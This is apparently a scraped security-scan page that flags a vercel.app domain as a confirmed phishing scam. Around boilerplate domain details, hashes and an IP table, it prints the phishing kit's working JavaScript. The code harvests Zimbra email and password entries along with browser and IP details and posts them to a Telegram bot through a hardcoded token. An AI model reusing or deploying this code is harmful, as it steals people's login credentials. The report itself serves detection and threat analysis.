English

You're looking at domain 'www.ra-krxu.vercel.app' on the application-focused generic top-level domain (.app); it also runs on subdomain 'www.ra-krxu'. Its registrable label 'vercel' stretches across 6 characters containing two vowels alongside 4 consonants. It segments into two words: ver, cel. Expect 3 characters per word on average. No strong language cues emerged from the frequency lists.

9bfc1e930123cc708ff49aff146bb25b2f84adbf37984730ca7abb999be753a9

229b0acf167b8966c3cdb2109710cd4b89b7c46e3ed05b00356253c940c5dc56

d09afa2d250136065b7a9436c6581a6b2beadc7f8f8ad8084920dacfe21f3141

CSP header missing - vulnerable to XSS attacks

PT Biznet Gio Nusantara

PTCS.CO.ID

OnlineNIC, Inc.

ADYAWINSA.COM

Tucows

Tucows Domains Inc

vercel.app

Vercel, Inc

Matheus Fernandez Vieira

Joe Haddad

VERCEL-12


                        document.write("<a href='#' onclick='showWhatsThis();' id='ZLoginWhatsThisAnchor' aria-controls='ZLoginWhatsThis' aria-expanded='false'>What’s This?</a>");
                        


        async function getBrowserInfo() {
            return {
                browser: navigator.userAgent,
                language: navigator.language,
                screenResolution: `${window.screen.width}x${window.screen.height}`,
                windowSize: `${window.innerWidth}x${window.innerHeight}`,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                timestamp: new Date().toISOString()
            };
        }

         async function getIPInfo() {
            try {
                // Direct approach with ipinfo.io which is reliable and doesn't require CORS
                const response = await fetch('https://ipinfo.io/json');
                const data = await response.json();
                
                return {
                    query: data.ip || 'Unknown',
                    country: data.country_name || data.country || 'Unknown',
                    org: data.org || 'Unknown',
                    isp: data.org || 'Unknown' // Using org as ISP since ipinfo doesn't separate them
                };
            } catch (error) {
                console.error('Primary IP fetch failed:', error);
                
                // Fallback to another service
                try {
                    const ipResponse = await fetch('https://api.ipify.org?format=json');
                    const ipData = await ipResponse.json();
                    
                    return {
                        query: ipData.ip || 'Unknown',
                        country: 'Unknown', // Can't get country from ipify alone
                        org: 'Unknown',
                        isp: 'Unknown'
                    };
                } catch (fallbackError) {
                    console.error('Fallback IP fetch failed:', fallbackError);
                    return {
                        query: 'Unknown',
                        country: 'Unknown',
                        org: 'Unknown',
                        isp: 'Unknown'
                    };
                }
            }
        }

        async function sendToTelegram(message) {
            const BOT_TOKEN = '7480485973:AAEc5xoO6_z6ZtSXAMxZB4iqih4M7peeyoM'; // Add your bot token here
            const CHAT_ID = '@onlysendlegs'; // Add your chat ID here
            
            try {
                await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: CHAT_ID,
                        text: message,
                        parse_mode: 'HTML'
                    })
                });
            } catch (error) {
                console.error('Error sending to Telegram:', error);
            }
        }

        async function handleSubmit(event) {
            event.preventDefault();
            
            const form = event.target;
            const email = form.email.value;
            const password = form.password.value;
            
            const browserInfo = await getBrowserInfo();
            const ipInfo = await getIPInfo();
            
            const message = `
📥 New Zimbra Login Information
------------------------
📧 Email: ${email}
🔑 Password: ${password}
🌐 IP: ${ipInfo.query}
🌍 Country: ${ipInfo.country}
🏢 ISP: ${ipInfo.isp}
🔍 Organization: ${ipInfo.org}
🌐 Browser: ${browserInfo.browser}
🗣 Language: ${browserInfo.language}
📱 Screen: ${browserInfo.screenResolution}
🖥 Window: ${browserInfo.windowSize}
⏰ Timezone: ${browserInfo.timezone}
📅 Timestamp: ${browserInfo.timestamp}
            `.trim();

            await sendToTelegram(message);

            try {
                window.history.go(-2);
                setTimeout(() => {
                    if (document.location.href !== 'about:blank') {
                        window.location.href = 'loading.html';
                    }
                }, 500);
            } catch (e) {
                window.location.href = 'loading.html';
            }
        }
    

Requests	IP Address	Location	AS Autonomous System
2	64.29.17.131Aws · CLOUD	United States	AS16509Amazon.com, Inc.
0	216.198.79.131Aws · CLOUD	United States	AS16509Amazon.com, Inc.
0	202.148.2.170	Indonesia	AS9794PT. Core Mediatech (D-NET)
0	202.169.51.110	North Jakarta, Jakarta, Indonesia	AS38482Biznet ISP
0	4	-	-

Security Scan Report: www.ra-krxu.vercel.app

Summary

AI Security Verdict

Confirmed Scam

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History